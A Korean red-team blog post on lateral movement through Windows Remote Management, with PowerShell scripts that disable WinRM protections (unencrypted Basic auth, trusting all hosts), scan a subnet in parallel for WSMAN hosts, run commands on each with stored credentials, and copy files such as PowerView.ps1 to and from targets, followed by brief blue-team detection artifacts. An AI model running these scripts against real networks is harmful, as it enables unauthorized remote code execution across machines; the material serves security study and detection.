[Lateral Movement] Windows Remote Management (WinRM)

박민(Park Min)·2022년 6월 3일
0

Red Team Techniques

목록 보기
1/1
post-thumbnail

Reference

https://attack.mitre.org/techniques/T1021/006/

WinRM?

Windows Remote Management(이하 WinRM) 은 WSMAN(WS-Management)이라고 하는 프로토콜에서 Windows 시스템을 원격에서 제어하고 관리하는 기능을 제공한다. 즉, 원격지에 있는 윈도우 PC나 서버에 원하는 명령을 실행시킬 수 있다.

AzureHyper-V등을 이용하여 한번에 여러 인스턴스를 관리할 때 일괄적으로 데이터를 수집한다거나 특정 설정을 바꿔줘야 할 때 사용할 수 있다.

(WSMAN을 사용할 수 있다는 가정 하에) 원격 명령을 내리고자 하는 인스턴스의 계정 명, 암호를 알고있다면 손쉽게 임의의 명령을 실행시킬 수 있기 때문에, 다수의 인스턴스를 관리하는 중앙 서버가 Compromised 된 경우에 Lateral Movement로 악용될 수 있다. 실제로 이 기능을 이용한 APT 그룹의 Threat 사례가 있다.


WinRM 설정 방법

WinRM을 사용하기 위해서는 서버(명령을 내리는 쪽)와 클라이언트(명령을 받는 쪽)에 WinRM을 설치하고 구성을 할 필요가 있다. 아래 나오는 과정을 서버/클라이언트 모두 해줘야 정상적으로 동작한다.

통신은 HTTP, HTTPS로 구성할 수 있는데 SSL 인증서 등록하기 귀찮으니 HTTP로 구성하도록 하겠다.

아래는 WinRM을 한번에 설정하는 Powershell 스크립트이다. 설정할 서버/클라이언트의 Powershell 콘솔을 열고 아래 스크립트를 실행해주자. (관리자 권한 필요)

각 명령 별 설명은 주석 참고.

# 네트워크 카테고리가 Public이면 WinRM을 사용할 수 없다. Private이나 Domain으로 변경해주자.
Set-NetConnectionProfile -NetworkCategory Private

# WinRM을 활성화 하고, 빠른 설정(Quick Config)을 적용한다. 기본 값은 HTTP
winrm qc # HTTPS로 구성하고자 한다면 -transport:https 옵션을 주도록 하자.

# Powershell 명령이 원격에서 실행되도록 허용한다.
Enable-PSRemoting

# 그냥 부수적인 설정들. 안해줘도 무관.
Set-WSManInstance -ResourceURI winrm/config/service/Auth -ValueSet @{Basic="true"}
Set-WSManInstance -ResourceURI winrm/config/service -ValueSet @{AllowUnencrypted="true"}
Set-WSManInstance -ResourceURI winrm/config/winrs -ValueSet @{MaxMemoryPerShellMB="1024"}

# 모든 PC를 신뢰하도록 설정.
Set-Item wsman:\localhost\Client\TrustedHosts -value * 

설정을 마친 후 Powershell에서 Test-WSMan 명령을 통해 WinRM이 잘 Listen하고 있는지 확인하도록 하자.

PS> Test-WSMan localhost


wsmid           : http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.x
                  sd
ProtocolVersion : http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd
ProductVendor   : Microsoft Corporation
ProductVersion  : OS: 0.0.0 SP: 0.0 Stack: 3.0

WinRM 으로 명령 날려보기

WinRM으로 클라이언트에 명령을 내리기 위해서는 3가지 정보가 필요하다.

  1. 클라이언트에 등록되어 있는 계정 정보 (ID/PW)
  2. IP 주소 (같은 Domain에 존재한다면 Computer Name)
  3. 실행할 명령

물론 다른 인증 방식을 이용하면 passwordless로 운용 가능하지만 이 글에서는 ID와 Password로 인증하는 방법을 소개하고자 한다.

계정 정보 작성

클라이언트에 접속할 때 사용할 계정 정보를 PS Credential로 받아놓자.

##### Credentials #####
Write-Host "[*] Get Credential..."
$username = "USERNAME"
$password = "PASSWORD"
$secstr = New-Object -TypeName System.Security.SecureString
$password.ToCharArray() | ForEach-Object { $secstr.AppendChar($_) }
$cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $username, $secstr

WSMAN 등록 여부 확인

명령을 내리고자 하는 호스트가 WSMAN을 Listen하고 있는지 확인하자.

단일 호스트에 대한 테스트

#### Test WSMAN is Listen ####
$isListen = Test-Connection -Protocol WSMAN 10.0.0.1 -Quiet

이 글에서는 Test-Connection 을 이용해 확인한다. -Protocol 인자에 WSMAN이라고 명시해주면 알아서 테스트를 해준다.

-Quiet 옵션을 넣으면, WSMAN을 사용할 수 있을 경우 $True를, 아닐 경우 $False를 반환해준다. 만약 옵션 없이 실행하면 이런 모습.

PS> Test-Connection -Protocol WSMAN localhost

Source        Destination     IPV4Address      IPV6Address
------        -----------     -----------      -----------
DESKTOP-0J... localhost       127.0.0.1        ::1
DESKTOP-0J... localhost       127.0.0.1        ::1
DESKTOP-0J... localhost       127.0.0.1        ::1
DESKTOP-0J... localhost       127.0.0.1        ::1

복수의 호스트에 대한 테스트(스캐닝)

앞서 소개했듯이, WinRM은 여러 인스턴스를 관리할 때 사용하면 매우 좋은 기능이다. 때문에 WinRM을 사용하여 호스트를 관리하고 있다면 여러 대의 인스턴스가 돌고 있을 수 있다.

때문에, WSMAN을 사용하는 호스트를 찾았다면 같은 아이피 대역을 스캔했을 때 명령을 내릴 수 있는 또 다른 인스턴스가 우수수 딸려나올 가능성이 높다. 노다지

하지만 앞선 단일 호스트를 테스트 하는 방법을 사용하여 아이피 대역을 스캔한다면 작업 완료까지 기다리는데 한세월이다. Test-Connection을 사용해보면 알겠지만 생각보다 응답 시간이 길고, 이를 256개.. 6만 5천개.. 이렇게 스캔하기에는 굉장히 많은 시간을 소요된다.

때문에, 여러 같은 대역을 병렬 처리로 스캐닝 하는 코드를 공유하고자 한다.

아래 코드는 본인 아이피 대역 C클래스에서 WSMAN이 가능한 호스트를 찾는 Powershell 스크립트이다. (소스를 적절히 수정해서 사용하시길..)

$IPs = @() # WSMAN 가능한 아이피 리스트
$myIP = (Get-NetIPAddress -AddressFamily IPV4 -InterfaceAlias Ethernet0).IPAddress
$myIPtoken = ($myIP).Split(".")
$mySubnet = $myIPtoken[0] + "." + $myIPtoken[1] + "." + $myIPtoken[2] + "."

# 본인 아이피 
for ($i = 0; $i -lt 256; $i++) {
    $targetIP = $mySubnet + $i
    if ($targetIP -eq $myIP) {
        continue
    } else {
        $IPs += $targetIP
    }
}

$maxJobs = 255 # 병렬처리 가능 Max Job
$pool = [runspacefactory]::CreateRunspacePool(1, $maxJobs)
$pool.ApartmentState = "STA"
$pool.ThreadOptions = "ReuseThread"
$pool.Open()
$jobs = New-Object System.Collections.ArrayList

$script = {
    param([string]$IP)
    Test-WSMan -ComputerName $IP
}

foreach ($IP in $IPs)
{
    $ps = [powershell]::Create().AddScript($script).AddParameter("IP", $IP)
    $aSync = "" | Select PowerShell,Runspace,IP
    $aSync.PowerShell = $ps
    $aSync.IP = $IP
    $ps.RunspacePool = $pool
    $aSync.Runspace = $ps.BeginInvoke()
    $jobs.Add($aSync) > $null
}

$result = while ($jobs.Count -gt 0)
{
    for ($i = $jobs.Count - 1; $i -ge 0; $i--)
    {
        $rs = $jobs[$i]
        if ($rs.Runspace.IsCompleted)
        {
            $output = $rs.PowerShell.EndInvoke($rs.Runspace)
            [pscustomobject]@{
                IPAddress = $rs.IP
                WSMAN = if ($output.Count -gt 0) { "Available" } else { "Unavailable" }
            }
            $rs.PowerShell.Dispose()
            $jobs.Remove($rs) > $null
        }
    }
    Start-Sleep -Seconds 1
}

$machine = ($result | Where-Object -FilterScript { $_.WSMAN -eq "Available" }).IPAddress
Write-Host "[+] Available Machine"
Write-Host $machine

원격지 명령 실행하기

WinRM을 사용할 수 있는 호스트를 찾았다면 해당 호스트에 명령을 실행시켜 보자.

유별난 방법이 있는건 아니고 Powershell의 Invoke-Command 를 이용할 것이다.

$Session = New-PSSession -ComputerName 10.0.0.1 -Credential $cred
Invoke-Command -Session $Session -ScriptBlock { & calc.exe }

만약 앞선 과정에서 복수의 호스트를 스캐닝 해서 사용한다면 아래와 같이 Iterable하게 코드를 짜면 된다.

$machine | % {
	Write-Host "[*] Create PS Session To $_"
    $Session = New-PSSession -ComputerName $_ -Credential $cred
    
    Write-Host "[*] Invoke Command To $_"
    Invoke-Command -Session $Session -ScriptBlock { & calc.exe }
}

최종적인 스크립트는 아래와 같다.

##### Credentials #####
Write-Host "[*] Get Credential..."
$username = "USERNAME"
$password = "PASSWORD"
$secstr = New-Object -TypeName System.Security.SecureString
$password.ToCharArray() | ForEach-Object { $secstr.AppendChar($_) }
$cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $username, $secstr

$IPs = @() # WSMAN 가능한 아이피 리스트
$myIP = (Get-NetIPAddress -AddressFamily IPV4 -InterfaceAlias Ethernet0).IPAddress
$myIPtoken = ($myIP).Split(".")
$mySubnet = $myIPtoken[0] + "." + $myIPtoken[1] + "." + $myIPtoken[2] + "."

# 본인 아이피 
for ($i = 0; $i -lt 256; $i++) {
    $targetIP = $mySubnet + $i
    if ($targetIP -eq $myIP) {
        continue
    } else {
        $IPs += $targetIP
    }
}

$maxJobs = 255 # 병렬처리 가능 Max Job
$pool = [runspacefactory]::CreateRunspacePool(1, $maxJobs)
$pool.ApartmentState = "STA"
$pool.ThreadOptions = "ReuseThread"
$pool.Open()
$jobs = New-Object System.Collections.ArrayList

$script = {
    param([string]$IP)
    Test-WSMan -ComputerName $IP
}

foreach ($IP in $IPs)
{
    $ps = [powershell]::Create().AddScript($script).AddParameter("IP", $IP)
    $aSync = "" | Select PowerShell,Runspace,IP
    $aSync.PowerShell = $ps
    $aSync.IP = $IP
    $ps.RunspacePool = $pool
    $aSync.Runspace = $ps.BeginInvoke()
    $jobs.Add($aSync) > $null
}

$result = while ($jobs.Count -gt 0)
{
    for ($i = $jobs.Count - 1; $i -ge 0; $i--)
    {
        $rs = $jobs[$i]
        if ($rs.Runspace.IsCompleted)
        {
            $output = $rs.PowerShell.EndInvoke($rs.Runspace)
            [pscustomobject]@{
                IPAddress = $rs.IP
                WSMAN = if ($output.Count -gt 0) { "Available" } else { "Unavailable" }
            }
            $rs.PowerShell.Dispose()
            $jobs.Remove($rs) > $null
        }
    }
    Start-Sleep -Seconds 1
}

$machine = ($result | Where-Object -FilterScript { $_.WSMAN -eq "Available" }).IPAddress
Write-Host "[+] Available Machine"
Write-Host $machine

$machine | % {
	Write-Host "[*] Create PS Session To $_"
    	$Session = New-PSSession -ComputerName $_ -Credential $cred
    
   	Write-Host "[*] Invoke Command To $_"
    	Invoke-Command -Session $Session -ScriptBlock { & calc.exe }
}

이제, 서버 측에서 해당 코드를 실행하고 클라이언트에서 확인해보면 성공적으로 명령이 수행된 것을 볼 수 있다.

서버 측에서 명령 실행

클라이언트 측에서 확인

추가적으로 유용한 스크립트를 아래 남긴다.

# 해당 PC의 Truested Host 목록을 보여줌
Get-Item WSMan:\localhost\Client\TrustedHosts

# 클라이언트에서 파일을 다운로드 함
Copy-Item -Path C:\Users\Administrator\Desktop\test.txt -Destination C:\Temp\ -FromSession (Get-PSSession)

# 클라이언트에 파일을 업로드 함
Copy-Item -Path C:\Temp\PowerView.ps1 -Destination C:\Temp\ -ToSession (Get-PSSession)

분석

이번 장에서는 WinRM을 이용하여 통신했을 경우 Blue Team 측에서 발견할 수 있는 아티팩트에 대해 말하고자 한다.

네트워크

클라이언트 측에서 확인

클라이언트 측에서 확인

  • 네트워크 로그를 확인해보면 서버에서 클라이언트의 /wsman path로 HTTP 요청을 수행한다.
  • 내부 내용은 encrypted 되어서 알 수 없다.

프로세스

프로세스 생성

프로세스 생성

  • WinRM으로 프로세스를 실행시키면 wsmprovhost.exe 의 하위 프로세스로 실행된다.

프로세스 생성

  • wsmprovhost.exe 는 Prcess Create 이벤트를 통해 전달받은 명령을 수행한다.

profile
Security Researcher

0개의 댓글